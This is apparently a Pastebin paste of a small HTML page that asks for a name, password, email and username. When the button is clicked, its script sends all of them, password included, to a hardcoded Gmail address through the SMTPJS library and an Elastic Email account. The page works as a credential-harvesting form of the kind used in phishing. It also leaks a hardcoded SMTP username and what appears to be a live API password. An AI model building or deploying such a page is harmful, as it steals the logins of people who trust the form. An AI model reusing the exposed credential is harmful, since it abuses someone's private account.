Advertisement
Guest User

Untitled

a guest
Feb 3rd, 2019
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <script src="https://smtpjs.com/v3/smtp.js">
  5. </script>
  6. <title>Page Title</title>
  7. </head>
  8. <body>
  9. <label for="subjectt">Subject</label>
  10. <input id="subjectt">
  11. <br>
  12. <br>
  13. <label for="bodyy">name</label>
  14. <input id="bodyy">
  15. <br>
  16. <br>
  17. <label for="pass">password</label>
  18. <input id="pass">
  19. <br>
  20. <br>
  21. <label for="email">email</label>
  22. <input id="email">
  23. <br>
  24. <br>
  25. <label for="username">username</label>
  26. <input id="username">
  27. <br> <br> <br>
  28. <button onclick="myFunction()">Click me</button>
  29. <script>
  30. function myFunction() {
  31.     Email.send({
  32.         Host : "smtp.elasticemail.com",
  33.         Username : "liadaltiff@gmail.com",
  34.         Password : "076feb69-6036-4e49-a86d-2fe37a6947fb",
  35.         To : 'liadaltiff@gmail.com',
  36.         From : "liadaltiff@gmail.com",
  37.         Subject : document.getElementById("subjectt").value,
  38.         Body : "name:" + document.getElementById("bodyy").value + "<br>" + "password:" +
  39.                 document.getElementById("pass").value + "<br>" + "email:" +
  40.                 document.getElementById("email").value + "<br>" + "username:" +
  41.                 document.getElementById("username").value
  42.     }).then(
  43.     message => alert(message)
  44.     );
  45. }
  46. </script>
  47. </body>
  48. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement